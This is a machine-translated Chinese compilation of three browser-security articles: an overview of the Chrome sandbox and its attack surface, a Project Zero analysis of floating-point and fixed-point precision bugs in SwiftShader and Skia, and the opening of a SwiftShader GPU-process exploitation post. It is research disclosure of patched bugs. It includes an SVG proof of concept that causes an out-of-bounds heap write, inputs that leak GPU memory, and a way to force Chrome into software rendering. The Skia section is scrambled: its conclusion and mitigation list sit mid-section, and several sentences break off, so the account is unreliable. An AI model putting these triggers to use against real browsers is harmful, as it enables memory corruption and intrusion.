Azimuth Security: The Chrome Sandbox (2010) Part 1
**这是一篇发布于2010年的文章,许多内容可能已经过时**
http://blog.azimuthsecurity.com/2010/05/chrome-sandbox-part-1-of-3-overview.html
http://blog.azimuthsecurity.com/2010/08/chrome-sandbox-part-2-of-3-ipc.html
机器翻译人工润色
今年早些时候,CanSecWest举办了流行的“Pwn2Own”竞赛,参赛者试图利用他们在流行的软件包中发现的漏洞。该比赛非常关注网络浏览器,今年它并没有让人失望:除了谷歌的Chrome之外所有主要的网络浏览器都被成功入侵。我相信Chrome的生存主要归功于它的集成沙箱,它旨在隔离浏览器,使其无法在运行它的系统上执行任何潜在的不利操作。过去几个月我一直在谷歌与谷歌合作,其中一项主要指控是对沙箱及其相关组件进行安全审查。
第一篇文章将讨论基本的Chrome架构和流程交互。它旨在成为一个高级别的介绍,为将在后续内容上提出的更多技术性讨论奠定基础。第二篇文章将重点介绍Chrome进程用于相互通信的消息传递工具。这些通信失败是Chrome沙箱功能的基础,但更重要的是暴露了广泛的攻击面以实现权限提升。最后的帖子将详细介绍用于从系统其余部分沙箱渲染器进程的Linux和Windows操作系统功能的细节。
多进程架构
Chrome采用多进程架构作为Google“最小特权原则”安全策略的一部分。实质上,沙箱试图将进程与访问目标系统上任何有价值的东西隔离开来 - 包括文件,其他进程和IPC对象(Chrome本身使用的除外)。为了理解Chrome的沙箱,熟悉在浏览会话期间通常存在的各种进程之间如何分区工作非常重要。下图说明了Chrome的多进程架构。
[那张经典的图]
注意
可能存在一些尚未描述的其他进程,具体取决于浏览会话中发生的操作。例如,可以在下载Chrome扩展程序时生成安装程序进程。为简单起见,图中省略了这些辅助进程。
下面简要描述每个主要组件。
浏览器进程 - 在浏览会话期间存在单个特权浏览器进程。浏览器进程负责根据需要生成其他进程,为其配置任务,以及代表没有所需系统访问权限的进程执行特权操作以自行执行操作。
渲染器进程 - 每次打开新选项卡或窗口时都会生成渲染器进程,并负责执行正在查看的网页的解析和呈现。这包括HTML解析,JavaScript功能和图像处理。
插件流程 - 插件托管在自己的私有进程中,并与渲染器和浏览器进程通信。每个不同的插件都有一个进程,无论该插件有多少个不同的嵌入式对象实例。默认情况下,插件进程实际上以完全权限运行(就像浏览器进程一样),但是当某些兼容性问题得到解决时,这最终会发生变化。
GPU流程 - 可选择存在单个GPU流程,以代表渲染器流程执行GPU相关任务。(**注:曾经**)GPU进程不受限于沙盒。
IPC通道 - IPC通道构成了Chrome的消息传递框架,为各种Chrome流程提供了通过本地操作系统特定的传输机制相互交互的工具。
攻击Chrome
从上面的描述中可以明显看出,由于与执行操作的进程相关的特权,某些浏览器组件中的缺陷与其他组件相比具有更严重的安全相关后果。下表提供了暴露于攻击的浏览器的一些主要组件的基本细分以及进行处理的位置。
部分 处理者
网络协议解析 浏览器
创建/管理选项卡/ Windows 浏览器
输入文本的缓存 浏览器
拼写检查/正常化 浏览器
剪贴板管理 浏览器
HTML解析/渲染 渲染
JavaScript解析 渲染
图像处理 渲染
插件 插入
GPU处理 GPU
IPC消息 [所有]
在列出的所有进程中,只有渲染器是沙箱。因此,定位由呈现器以外的任何其他内容执行的公开功能(例如网络协议解析)可能会产生导致远程访问目标系统的错误,而不会产生沙箱通常会施加的任何其他限制。话虽如此,渲染器执行的功能包含了Web浏览器常用攻击面的很大一部分,因此未来Chrome中发现的大部分漏洞可能会继续与这些组件相关。由于Chrome沙箱的限制性,攻击者必须在损害渲染器以获得进一步访问系统后使用第二个漏洞升级其权限。因此,Chrome中的权限提升向量也是任何安全审核的关键焦点。特权升级有几个主要攻击面,如下所示:
IPC消息传递 - 在用于进程间通信的消息传递框架中解析缺陷将提供获得其中一个非沙盒进程的特权的理想方法。这个区域将在下一篇博客文章中进行深入研究。
公开服务 - 参与Chrome浏览会话的每个流程都通过上述IPC渠道向其他流程公开服务。重要的是要评估可以从渲染器调用的所有公开函数,以便编程缺陷或导致沙箱旁路的无意间产生的安全漏洞。此攻击面也将在下一篇博文中广泛介绍。
沙箱弱点 -在攻击任何沙箱时,必须熟悉沙箱防范的内容,以及它在执行单独处理的各种限制时的有效性。本系列的第三篇博文将讨论沙箱本身及其在Linux和Windows上的实现方式。我还将举例说明我在两个沙箱实现中发现的漏洞
共享资源 - 应该注意的是,攻击更多特权进程有几种间接形式。具体而言,一些音频,视频和图形数据由渲染器进程提供给更具特权的进程(例如GPU进程),方法是将该数据放在共享内存缓冲区中,然后通知更具特权的进程。由于这些数据的某些解析发生在更多特权进程中,因此它可能是一种可能有用的途径,可用于定位解析漏洞以获得对系统的进一步访问。这条途径虽然很有趣,但没有进一步讨论,而是留给读者练习。
操作系统/外部软件 - 当然,攻击者可以针对操作系统内核或外部软件组件(如本地服务)中的缺陷进行攻击。这些载体超出了本讨论范围,不再进一步考虑。
结论
正如您所看到的,需要覆盖大量材料。收听我接下来的两篇文章,我会更深入地了解沙箱的细节,并提出我在整个审核过程中发现的一些缺陷!
Drawing Outside the Box: Precision Issues in Graphic Libraries
马克·布兰德和伊万·弗雷特合著,Project Zero。 https://googleprojectzero.blogspot.com/2018/07/drawing-outside-box-precision-issues-in.html
在这篇博文中,我们将讨论一种罕见的漏洞类,它通常会影响图形库(尽管它也可能出现在其他类型的软件中)。这些问题的根本原因是在精度错误会使应用程序所做的安全假设失效的情况下使用有限的精度算法。
虽然我们也可以调用其他类的Bug精度问题,即整数溢出,但主要区别在于:对于整数溢出,我们处理的是算术运算,其结果的大小太大,不能在给定的精度下精确表示。有了这篇博文中描述的问题,我们处理的是算术运算,这些运算的结果或部分结果的大小太小,无法用给定的精度精确表示。
在对安全性敏感的操作中使用浮点运算时,可能会出现这些问题,但正如我们稍后将演示的那样,在某些情况下整数运算也会出现这些问题。
让我们来看一个简单的例子:
float a = 100000000; float b = 1; float c = a + b;
如果我们以任意精度进行计算,结果将是100000001。
但是,由于浮点通常只允许24位精度,因此结果实际上是100000000。
如果应用程序通常合理地假设a>0和b>0意味着a+b>a,则这可能导致问题。
在上面的例子中,a和b之间的差异如此之大,以至于b在计算结果中完全消失,但如果差异较小,例如,精度误差也会发生。
float a = 1000;
float b = 1.1111111;
float c = a + b;
上述计算的结果将是1001.111084,而不是1001.1111111,这将是准确的结果。
在这里,只丢失了b的一部分,但即使是这样的结果有时也会产生有趣的后果。
虽然我们在上面的示例中使用了float类型,在这些特定的示例中使用double将导致更精确的计算,但同样的精度错误也可能发生在double中。
在这篇博文的其余部分,我们将展示几个具有安全影响的精确问题的示例。
Project Zero的两名成员对这些问题进行了独立的探讨:马克·布兰德(Mark Brand)研究了Chrome中使用的一种OpenGL实现软件SwiftShader,以及伊万·弗雷特(Ivan Fratric)研究了Chrome和Firefox中使用的Skia图形库。
SwiftShader
SwiftShader是“基于CPU的OpenGL ES和Direct3D 9图形API的高性能实现”。
它在所有平台的Chrome中作为后备渲染选项使用,以绕过图形硬件或驱动程序的限制,允许在更广泛的设备上普遍使用WebGL和其他高级javascript渲染API。
SwiftShader中的代码需要模拟通常由GPU执行的各种操作。
我们通常认为GPU上的一个操作本质上是“0成本”的,那就是提升比例,或从小的源纹理绘制到更大的区域,例如在屏幕上。
这需要使用非整数值计算内存索引,而非整数值正是该漏洞发生的地方。
正如在最初的bug报告中所指出的,我们将在这里查看的代码并不完全是实际运行的代码——SwftShader使用基于LLVM的JIT引擎在运行时优化性能关键型代码,但该代码比它们的回退实现更难理解,并且两者包含相同的缺陷,因此我们将讨论回退代码。
以下代码是在渲染过程中用于将像素从一个曲面复制到另一个曲面的复制循环:
source->lockInternal((int)sRect.x0, (int)sRect.y0, sRect.slice, sw::LOCK_READONLY, sw::PUBLIC); dest->lockInternal(dRect.x0, dRect.y0, dRect.slice, sw::LOCK_WRITEONLY, sw::PUBLIC); float w = sRect.width() / dRect.width(); float h = sRect.height() / dRect.height(); const float xStart = sRect.x0 + 0.5f * w; float y = sRect.y0 + 0.5f * h; float x = xStart; for(int j = dRect.y0; j < dRect.y1; j++) { x = xStart; for(int i = dRect.x0; i < dRect.x1; i++) { // FIXME: Support RGBA mask dest->copyInternal(source, i, j, x, y, options.filter); x += w; } y += h; } source->unlockInternal(); dest->unlockInternal(); }
那么-这段代码的问题是什么呢?
在进入这个函数之前,我们知道所有的边界检查都已经执行了,并且对 copyInternal (i, j)和sRect的(x,y) 的任何调用都是安全的。
以上介绍中的示例显示了由此产生的精度错误意味着发生四舍五入的情况-在这种情况下,这不足以产生一个有趣的安全错误。
我们是否可以导致浮点不精确导致大于正确的值,从而导致(x,y)值大于预期?
如果我们查看代码,开发人员的意图是计算以下内容:
for(int j = dRect.y0; j < dRect.y1; j++) { for(int i = dRect.x0; i < dRect.x1; i++) { x = xStart + (i * w); Y = yStart + (j * h); dest->copyInternal(source, i, j, x, y, options.filter); } }
如果使用这种方法,我们仍然会有精度误差-但是如果没有迭代计算,就不会有误差的传播,我们可以期望精度误差的最终大小是稳定的,并且与操作数的大小成正比。
随着迭代计算在代码中的执行,误差开始传播,滚雪球一样产生越来越大的误差。
有一些方法可以估计浮点计算中的最大错误;如果您真的需要避免额外的边界检查,那么使用这种方法并确保围绕这些最大错误有保守的安全裕度可能是解决这个问题的一种复杂且容易出错的方法。
这不是一个很好的来确定问题价值的方法,我们在这里想要证明一个漏洞;因此,我们将采取一种暴力的方法。
基本上,我们相当肯定在计算机算法中:乘法实现将大致正确,而迭代相加的实现将不那么正确。
考虑到可能输入的空间很小(Chrome不允许宽度或高度大于8192的纹理),我们可以对源宽度与目标宽度的所有比率运行蛮力,比较这两种算法,并查看结果最不同的地方。(请注意,快速着色器也将我们限制为偶数)。
这导致我们得到5828,8132的值;如果我们比较这种情况下的计算(左侧是迭代加法,右侧是乘法):
0:1.075012 1.075012。
1:1.791687 1.791687。
……
到这里为止(以所示的精度计算),这些值仍然是相同的
1001:718.466553 718.466553。
……
2046:1467.391724 1467.391724 此时,第一个重大错误开始出现,但请注意“不正确”的结果比更精确的结果要小。
2047:1468.108398 1468.108521
……
2856:2047.898315 2047.898438
2857:2048.614990 2048.614990 在这里,我们的两个计算结果再次吻合,简单地说,从这里开始,精度误差始终比更精确的计算更倾向于得到更大的结果。
2858:2049.331787 2049.331787
2859:2050.048584 2050.048340
……
8129:5827.567871 5826.924805
8130:5828.284668 5827.641602
8131:5829.001465 5828.358398 最后一个索引现在有很大的不同,INT转换会产生一个OOB index。
(还请注意,在“安全”计算中也会有错误;只是缺少错误传播意味着错误将与输入错误的大小成正比,我们预计输入错误的大小是“小”的。)。
我们确实可以看到,乘法算法将保持在边界内;但是迭代算法可以返回超出输入纹理边界的索引!
结果,我们读取了纹理分配结束后的整行像素——这很容易使用WebGL泄漏回javascript。
请继续关注即将发布的一篇博客文章,在这篇文章中,我们将使用这个漏洞以及另一个不相关的问题来控制来自javascript的GPU进程。
Skia
SKIA是在Chrome、Firefox和Android中使用的图形库。在Web浏览器中,例如在使用CanvasRenderingContext2D绘制到画布HTML元素或绘制SVG图像时使用它。
在绘制其他各种HTML元素时也使用SKIA,但从安全角度看,Canvas元素和SVG图像更有趣,因为它们可以对图形库绘制的对象进行更直接的控制。
Skia可以绘制的最复杂的对象类型(因此,从安全角度看也是最有趣的)是路径。路径是由元素(例如直线)和更复杂的曲线(尤其是二次或三次样条曲线)组成的对象。由于软件绘图算法在SKIA中的工作方式,精度问题非常可能发生,并且当它们发生时非常有影响,通常会导致越界写入。
为了理解为什么会发生这些问题,让我们假设内存中有一个图像(表示为一个缓冲区,大小=宽度x高度x颜色大小)。通常,在绘制具有坐标(x,y)和颜色c的像素时,您需要确保该像素实际位于图像的空间内,特别是0<=x
在计算机图形学中,确保只绘制图像区域中的对象称为剪裁。那么,问题出在哪里?就CPU周期而言,对每个像素进行剪辑检查是非常昂贵的,而Skia则以速度为傲。
因此,Skia所做的不是对每个像素进行剪辑检查,而是首先对整个对象(例如,直线、路径或正在绘制的任何其他类型的对象)进行剪辑检查。
根据剪辑检查,有三种可能的结果:
【1】对象完全位于绘图区域之外:绘图函数不绘制任何内容并立即返回。
【2】对象部分位于绘图区域内:绘图功能在启用每像素剪辑的情况下继续进行(通常依赖于 SkRectClipBlitter)。
【3】整个对象都在绘图区域中:绘图函数直接绘制到缓冲区中,而不执行每像素剪辑检查。
有问题的场景是【3】仅对每个对象执行剪辑检查,并且禁用更精确的每像素检查。这意味着,如果在每个对象剪辑检查和绘制像素之间的某个位置存在精度问题,并且精度问题导致像素坐标超出绘图区域,则可能会导致安全漏洞。
我们可以看到每个对象剪辑检查导致在多个位置丢弃每像素检查,例如:
在 hair_path(用于绘制不填充路径的函数)中,clip 最初设置为 null(这将禁用片段检查)。仅当路径边界(根据绘图选项向上舍入并按1或2扩展,https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Hairline.cpp?g=0&rcl=d92a739d72ae70fc8122dc077b0f751d4b1dd023&l=511)不适合绘图区域时,才会设置剪辑。将路径边界扩展1似乎是一个相当大的安全裕度,但实际上它是最不可能的安全值,因为启用抗锯齿的绘制对象有时会导致绘制到附近的像素。
在SkScan::FillPath(用于在禁用抗锯齿的情况下填充路径的函数)中,路径的边界首先由 kConservativeRoundBias扩展,然后舍入以获得“保守”路径边界。然后为当前路径创建一个SkScanClipper对象。正如我们在SkScanClipper的定义中所看到的,只有当路径边界的x坐标在绘图区域之外,或者如果irPreClipped 为true(只有当路径坐标非常大时才会发生这种情况),它才会使用SkRectClipBlitter。
在其他绘图功能中也可以看到类似的图案。
在我们更深入地了解这些问题之前,快速浏览一下Skia使用的各种数字格式是非常有用的:
【1】SkScalar是一个32位浮点数字。
【2】SkFDot6被定义为一个整数,但它实际上是一个固定的数字,其中26位在小数点的左边,6位在小数点的右边。 例如,SkFDot6值0×00000001表示数字1/64。
【3】SkFixed也是一个定点数字,这一次小数点的左侧为16位,右侧为16位。例如,SkFix值0×00000001表示1/(2**16)
整数到浮点数转换的精度误差。
去年,我们在对Firefox进行DOM模糊化时发现了最初的问题。这个问题引起了我们的注意,因为Skia写出了越界,所以我们做了进一步的调查。事实证明,根本原因是Skia在几个地方将浮点转换为int的方式存在差异。
在进行每路径片段检查时,使用以下函数舍入较低的坐标(边界框的左侧和顶部):
static inline int round_down_to_int(SkScalar x) { double xx = x; xx -= 0.5; return (int)ceil(xx); }
查看代码,您会发现对于严格大于-0.5的数字,它将返回一个大于或等于零的数字(这是通过路径级别剪辑检查所必需的)。
但是,在代码的另一部分(特别是 SkEdge::setLine )中,如果定义了SK_RASTERIZE_EVEN_ROUNDING (在Firefox中就是这种情况),则使用以下函数将浮点数舍入为整数:
inline SkFDot6 SkScalarRoundToFDot6(SkScalar x, int shift = 0) { union { double fDouble; int32_t fBits[2]; } tmp; int fractionalBits = 6 + shift; double magic = (1LL << (52 - (fractionalBits))) * 1.5; tmp.fDouble = SkScalarToDouble(x) + magic; #ifdef SK_CPU_BENDIAN return tmp.fBits[1]; #else return tmp.fBits[0]; #endif }
现在让我们看一看这两个函数返回的数字-0.499。对于这个数字,舍入_DOWN_TO_INT返回0(始终通过剪裁检查),而SkScalarRoundToFDot6返回-32(对应于-0.5),因此最终得到的数字实际上比开始时的小。
但是,这并不是唯一的问题,因为在SkEdge::setLine中还有另一个发生精度错误的地方:小数相乘时的精度错误。
SkEdge::setLine调用SkFixedMul,定义为:
static inline SkFixed(SkFixed a, SkFixed b) { return (SkFixed)((int64_t)a * b >> 16); }
此函数用于将两个SkFixed数相乘。使用此函数乘以负数时会出现问题。 让我们来看一个小例子。 假设a=-1/(2**16),b=1/(2**16)。如果我们在纸上把这两个数字相乘,结果是-1/(2**32)。
然而,由于SkFixedMul的工作方式,特别是因为右移位被用来将结果转换回SkFixed格式,我们最终得到的结果是0xFFFFFFFF,即SkFixed为-1/(2**16)。
因此,我们最终得到的结果比预期的要大得多。由于SkEdge::setLine使用此乘法的结果在此处调整初始线点的x坐标,因此我们可以使用SkFixedMul中的问题导致一个像素的1/64的误差并超出绘图区域边界。
通过将前两个问题结合起来,可以得到一条足够小(小于-0.5)的直线的x坐标,因此,当这里的分数表示被舍入为整数时,Skia试图在x=-1的坐标上绘制,这显然超出了图像的边界。
这就导致了越界写入,这可以在原始的bug报告中看到。
如上一节所述,通过绘制具有坐标的SVG图像,可以在Firefox中利用此漏洞进行攻击。
将样条曲线转换为直线段时的浮点精度错误
绘制路径时,SKIA会将所有非线性曲线(圆锥形状、二次样条曲线和三次样条曲线)转换为直线段。也许不出所料,这些转换会受到精度错误的影响。
样条曲线到直线段的转换发生在多个位置,但最易受浮点精度错误影响的是 hair_quad (用于绘制二次曲线)和 hair_cubic(用于绘制三次曲线)。这两个函数都是从 hair_path调用的,我们前面已经提到过。
因为(不出所料),在处理三次样条时会出现较大的精度误差,因此这里只考虑三次情况。在逼近样条曲线时,首先在SkCubicCoeff中计算三次系数。
最有趣的部分是:
fA = P3 + three * (P1 - P2) - P0; fB = three * (P2 - times_2(P1) + P0); fC = three * (P1 - P0); fD = P0;
其中P1、P2和P3为输入点,fA、fB、fC和fD为输出系数。然后使用以下代码在hair_cubic中计算直线段点
const Sk2s dt(SK_Scalar1 / lines); Sk2s t(0); ... Sk2s A = coeff.fA; Sk2s B = coeff.fB; Sk2s C = coeff.fC; Sk2s D = coeff.fD; for (int i = 1; i < lines; ++i) { t = t + dt; Sk2s p = ((A * t + B) * t + C) * t + D; p.store(&tmp[i]); }
其中p是输出点,线是我们用来近似曲线的线段数。根据样条曲线的长度,三次样条曲线最多可以近似为512条直线。
很明显,这里的算术不会很精确。由于对x和y坐标进行了相同的计算,让我们只考虑POST其余部分中的x坐标。
假设绘图区域的宽度为1000像素。由于hair_path用于在启用抗锯齿的情况下绘制路径,因此需要确保路径的所有点在1到999之间,这是在初始路径级片段检查中完成的。
让我们考虑以下坐标,这些坐标都通过了此检查:
p0 = 1.501923
p1 = 998.468811
p2 = 998.998779
p3 = 999.000000
对于这些点,系数如下
a = 995.908203
b = -2989.310547
c = 2990.900879
d = 1.501923
如果你在更大的精度上做同样的计算,你会注意到这里的数字不太正确。现在,让我们看看如果我们用512条线段近似样条线会发生什么。这将产生513个x坐标:
0: 1.501923 1: 7.332130 2: 13.139574 3: 18.924301 4: 24.686356 5: 30.425781 ... 500: 998.986389 501: 998.989563 502: 998.992126 503: 998.994141 504: 998.995972 505: 998.997314 506: 998.998291 507: 998.999084 508: 998.999695 509: 998.999878 510: 999.000000 511: 999.000244 512: 999.000000
我们可以看到,x坐标不断增长,在点511明显超出了“安全”区域,并增长大于999。
碰巧,这不足以触发越界写入,因为由于绘制抗锯齿线在Skia中的工作方式,我们需要至少将像素移到剪辑区域之外的1/64,这样才会成为一个安全问题。
但是,在这种情况下,有关精度错误的一个有趣的事情是,绘图区域越大,可能发生的错误就越大。
因此,让我们考虑一个32767像素的绘图区域(Chrome中的最大画布大小)。
初始剪裁检查然后检查所有路径点是否在[1,32766]间隔内。
现在让我们考虑以下几点:
p0 = 1.7490234375
p1 = 32765.9902343750
p2 = 32766.000000
p3 = 32766.000000
对应系数
a = 32764.222656
b = -98292.687500
c = 98292.726562
d = 1.749023
和相应的直线近似
0: 1.74902343 1: 193.352295 2: 384.207123 3: 574.314941 4: 763.677246 5: 952.295532 … 505: 32765.925781 506: 32765.957031 507: 32765.976562 508: 32765.992188 509: 32766.003906 510: 32766.003906 511: 32766.015625 512: 32766.000000
你可以看到,我们在指数511上越界的次数要多得多。
对Skia来说幸运的是,对于有抱负的攻击者来说不幸的是,这个错误不能用来触发内存损坏,至少在最新版本的SKIA中不能。
原因是SkDrawTiler。
每当Skia使用SkBitmapDevice绘制(而不是使用GPU设备)且绘图区域在任何维度上大于8191像素时,Skia都会将其拆分为(最多)8191×8191像素的平铺,而不是一次绘制整个图像。
这一更改是在3月份进行的,不是出于安全原因,而是为了能够支持更大的绘制表面。
然而,它仍然有效地阻止了我们利用这一问题,也将防止利用其他情况,即需要大于8191的曲面才能达到足够大的精度误差。
尽管如此,这个错误在三月之前是可以利用的,我们认为它很好地展示了精度错误的概念。
将样条曲线转换为直线段时的整数精度错误
在绘制(在本例中为填充)也受精度错误影响的路径时,还有另一个位置可以将样条曲线近似为线段,在本例中为可利用的路径。
有趣的是,这里的精度误差不是在浮点运算中,而是在定点运算中。
此错误发生在SkQuadraticEdge::setQuadraticWithoutUpdate和SkCubicEdge::setCubicWithoutUpdate中。
为了简单起见,我们将再次集中在三次样条曲线的版本上,并且,同样地,只关注x坐标。
在SkCubicEdge::setCubicWithoutUpdate中,曲线坐标首先转换为SkFDot6类型(分数使用6位的整数)。
在此之后,将计算与曲线在初始点处的一阶、二阶和三阶导数相对应的参数:
SkFixed B = SkFDot6UpShift(3 * (x1 - x0), upShift); SkFixed C = SkFDot6UpShift(3 * (x0 - x1 - x1 + x2), upShift); SkFixed D = SkFDot6UpShift(x3 + 3 * (x1 - x2) - x0, upShift); fCx = SkFDot6ToFixed(x0); fCDx = B + (C >> shift) + (D >> 2*shift); // biased by shift fCDDx = 2*C + (3*D >> (shift - 1)); // biased by 2*shift fCDDDx = 3*D >> (shift - 1); // biased by 2*shift
其中x0、x1、x2和x3是定义三次样条曲线的4个点的x坐标,并且移动和向上移动取决于曲线的长度(这对应于将在其中近似曲线的线性分段的数量)。
为简单起见,我们可以假设Shift=upShift=6(最大可能值)。
现在让我们看看一些非常简单的输入值会发生什么情况:
x0 = -30
x1 = -31
x2 = -31
x3 = -31
请注意,x0、x1、x2和x3的类型为skFDot6,因此值-30对应于-0.46875,-31对应于-0.484375。这接近-0.5,但四舍五入的时候很安全。
现在,让我们检查计算参数的值:
B = -192
C = 192
D = -64
fCx = -30720
fCDx = -190
fCDDx = 378
fCDDDx = -6
你知道问题出在哪里了吗?提示:它在fCDx中。在计算fCDx(曲线的第一次求导)时,D需要的值右移12。然而,D太小,不能精确地做到这一点,因为D是负的,所以右移 D >> 2*shift 将会得到-1,它的大小比预期的结果要大。
(由于D的类型为SkFixed,其实际值为-0.0009765625,如果将其解释为除以4096时,将得到-2.384185e-07)。正因为如此,整个fCDx的负值最终会大于应有的负值(-190 vs. -189.015)。
然后,在计算直线段的x值时使用fCDx的值。
这发生在以下行的SkCubicEdge::updateCubic中:
newx = oldx + (fCDx >> dshift);
当用64条直线段近似样条曲线时(此算法的最大值),x值将为(表示为索引、整数SkFix值和相应的浮点值):
index raw interpretation 0: -30720 -0.46875 1: -30768 -0.469482 2: -30815 -0.470200 3: -30860 -0.470886 4: -30904 -0.471558 5: -30947 -0.472214 ... 31: -31683 -0.483444 32: -31700 -0.483704 33: -31716 -0.483948 34: -31732 -0.484192 35: -31747 -0.484421 36: -31762 -0.484650 37: -31776 -0.484863 38: -31790 -0.485077 ... 60: -32005 -0.488358 61: -32013 -0.488480 62: -32021 -0.488602 63: -32029 -0.488724 64: -32037 -0.488846
您可以看到,对于第35个点,x值(-0.484421)最终小于最小的输入点(-0.484375),而对于后面的点,趋势仍在继续。
不过,此值仍将舍入为0,但还有另一个问题。
在SkCubicEdge::updateCubic中计算的x值将传递给SkEdge::updateLine,然后在以下行将它们从SkFixed类型转换为SkFDot6:
x0 >>= 10;
x1 >>= 10;
又一次右转!例如,当SkFixed值-31747被移动时,我们得到的skFDot6值为-32,表示-0.5。 在这一点上,我们可以使用上面“小数相乘时的精度错误”部分中描述的相同技巧,使其小于-0.5并超出图像边界。 这里我们得到的是场景【4】不幸的是,当y=0时,我们不能画到x=1,因为精度误差需要在y的增长值上累积。 如果我们在Firefox的一个未打补丁的版本中呈现这一点,我们所看到的将如下图所示。 https://lh4.googleusercontent.com/C2gzyHeEV-fHnuOjvyr9g3C-XPiL0xFApDL3vZx_hQDZ4hi_ppuYmRTN1myDJFRcCvsq86j–_-YGEjQUMw-X2OavBEM-2nWz5ay1cjAppcbrYkQhIXHcSWUiEMmeX34gYlBMJwQ 请注意,我们使用的是Mozilla Firefox,而不是Google Chrome,因为SVG绘制内部内容(具体地说:Skia似乎一次绘制整个图像,而Chrome使用其他平铺)更容易在Firefox中演示此问题。 但是,除了画一个有趣的图片,这个问题是否有真正的安全影响? 当使用 SkARGB32_Shader_Blitter::blitH 绘制整个图像行时,如果可以使其从x=-1到x=Width-1(从x=0到x=宽度交替绘制),则需要将Width+1像素写入只能容纳宽度像素的缓冲区,导致缓冲区溢出,如错误报告中的ASAN日志所示。 此问题的另一个具体问题是,只有在关闭了抗锯齿功能的情况下绘制(更具体地说:填充)路径时,才能达到此目的。 我们在Skia中报告的所有精度问题都通过增加 kConservativeRoundBias 得到了修复。 结语 虽然在这篇博客文章中描述的精度问题不会出现在大多数软件产品中,但在它们存在的地方,它们可能会产生相当严重的后果。 为防止其发生,请执行以下操作: 不幸的是,当涉及到发现这些问题时,似乎没有一种很好的方法可以做到这一点。
换句话说,在绘制路径时,我们可以使Skia绘制到x=-1。
但是,我们能用它做什么呢? 通常,考虑到Skia将图像像素分配为逐行组织的单个分配(就像大多数其他软件会分配位图一样),在精度问题上可能会发生几种情况。
如果我们假设宽度x高度图像,并且只能超出边界一个像素:
【1】绘制到y=-1或y=高度会立即导致堆越界写入。
【2】绘制到x=-1且y=0的图形会立即导致1个像素的堆下溢。
【3】绘制到x=宽度且y=高度-1的图形会立即导致1个像素的堆溢出。
【4】使用y>0绘制到x=-1会导致像素“溢出”到上一个图像行。
【5】使用y
让我们来看一下下面的SVG图像示例:<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<style>
body {
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
margin-left: 0px
}
</style>
<path d="M -0.46875 -0.484375 C -0.484375 -0.484375, -0.484375 -0.484375, -0.484375 100 L 1 100 L 1 -0.484375" fill="red" shape-rendering="crispEdges" />
</svg>
请注意SVG只包含屏幕左侧的坐标,而一些红色像素绘制在右侧。
这是因为,由于图像的分配方式,绘制到x=-1和y=row等于绘制到x=Width-1和y=row-1。
然而,Chrome和Firefox都同样受到了这个问题的影响。
在这里,SkARGB32_Shader_Blitter 得到了补救(只要将着色器效果应用到Skia中的颜色,就会使用SkARGB32_Shader_Blitter )。
SkARGB32_Shader_Blitter 的特殊之处在于,它分配的临时缓冲区的大小与单个图像行的大小相同。
请注意Chrome和Firefox的POC如何包含具有线性Gradient元素的SVG图像——线性渐变专门用于选择SkARGB32_Shader_Blitter,而不是直接将像素绘制到图像中,这只会导致像素溢出到上一行。
由于目前不可能在禁用抗锯齿的情况下绘制指向HTML画布元素的路径(存在ImageSmoothingEnabled属性,但它仅适用于绘制图像,而不适用于路径),因此必须使用具有shape-rendering=”crispEdges”的SVG图像来触发问题。
虽然当前的偏差值足够大,足以涵盖我们所知的最大精度误差,但我们不应排除在其他地方可能出现精度问题的可能性。
【1】在结果对安全性敏感的情况下,不要使用浮点算法。
【2】如果您必须这样做,那么您需要确保最大可能的精度误差不能大于某个安全裕度。
【3】在某些情况下,区间算法可以用来确定最大精度误差。
【4】或者,对结果执行安全检查,而不是输入。
【5】使用整数运算时,要警惕可能会降低结果精度的任何操作,例如除法和右移位。
当我们开始研究Skia时,最初我们想尝试在绘图算法上使用符号执行来查找会导致绘制越界的输入值,因为从表面上看,这似乎是一个非常适合符号执行的问题。
然而,在实践中,存在着太多的问题:大多数工具不支持浮点符号变量,而且,即使只针对最简单的线条绘制算法的整数部分运行,我们也未能在合理的时间内完成运行(我们使用的是带有STP和Z3后端的KLEE https://klee.github.io/)。
最后,我们所做的是一些比较老套的方法的组合:手动源代码检查、fuzzing(特别是在接近图像边界的值中),在某些情况下,当我们已经识别出可能存在问题的代码区域时,甚至可能需要强制执行所有可能的值的范围。
Heap Feng Shader: Exploiting SwiftShader in Chrome
机器翻译+简单人工润色于 https://googleprojectzero.blogspot.com/2018/10/heap-feng-shader-exploiting-swiftshader.html
Wednesday, October 24, 2018
马克·布兰德(Mark Brand)发布,Project Zero。
在大多数系统上,在正常情况下,Chrome永远不会使用SwiftShader-如果您有已知错误的“列入黑名单”的图形卡或驱动程序,它将用作后备。但是,Chrome还可以在运行时确定您的图形驱动程序存在问题,并切换到使用SWIFT Shader以提供更好的用户体验。
如果您对性能差异感兴趣,或者只是想玩一玩,您可以使用SwiftShader 启动Chrome,而不是使用-DISABLE-GPU命令行标志来启动GPU加速。
SwiftShader 是Chrome中一个相当有趣的攻击面,因为所有的渲染工作都是在一个单独的进程(GPU进程)中完成的。
由于此进程负责绘制到屏幕上,因此它需要比通常处理网页内容的高度沙箱化的渲染器进程具有更多的权限。
在典型的Linux桌面系统配置上,沙箱访问X11服务器方面的技术限制意味着这个沙箱非常薄弱;在Windows等其他平台上,GPU进程仍然可以访问更大的内核攻击面。
我们是否可以编写一个在GPU进程中获得代码执行而不首先损害渲染器的漏洞攻击?
我们将关注利用我们报告的两个问题,这两个问题最近由Chrome解决了。
事实证明,如果你有一个受支持的GPU,它仍然是一个相对简单的攻击:攻击者强制您的浏览器使用快速的图形着色器——如果GPU进程崩溃超过4次,Chrome将回落到这一软件渲染路径,而不是禁用加速。
在我的测试中,让GPU进程崩溃或遇到来自WebGL的内存不足问题非常简单——这是留给感兴趣的读者的练习。
对于这篇博文的其余部分,我们将假设GPU进程已经处于回退软件渲染模式。
先前的精度问题
我们之前讨论了由SwftShader代码中的一些精度问题导致的信息泄漏问题——因此,我们将从这里开始,从这个问题中找到一个有用的泄漏原语。
稍作调整后,我得到了下面的结果,该结果将在GPU进程中分配一个大小为0xb620000的纹理,当函数read()被调用时,它将直接在该缓冲区后面返回0×10000字节返回给javascript。
(分配将发生在标记的第一行,越界访问发生在第二行)。
